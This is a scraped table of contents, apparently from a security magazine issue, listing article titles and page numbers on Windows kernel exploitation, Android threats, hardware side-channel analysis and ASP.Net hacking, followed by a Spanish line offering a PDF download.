    • Bot Wars – The Game of Win32/64 System Takeover (04)
    • Memory Copy Functions in Local Windows Kernel Exploitation (12)
  • Mobile Security 

    • Android Persistent Threats (20) 
  • Hardware Security

    • Does the Analysis of Electrical Current Consumption of Embedded Systems could Lead to Code Reversing? (28)
  • Web  Application Security

    • To Hack an ASP.Net Site? It is Difficult, but Possible! (48)
  • Mobile Security

    • A Brief Introduction to VEGA (66) 
O la puedes descargar desde aquí (PDF)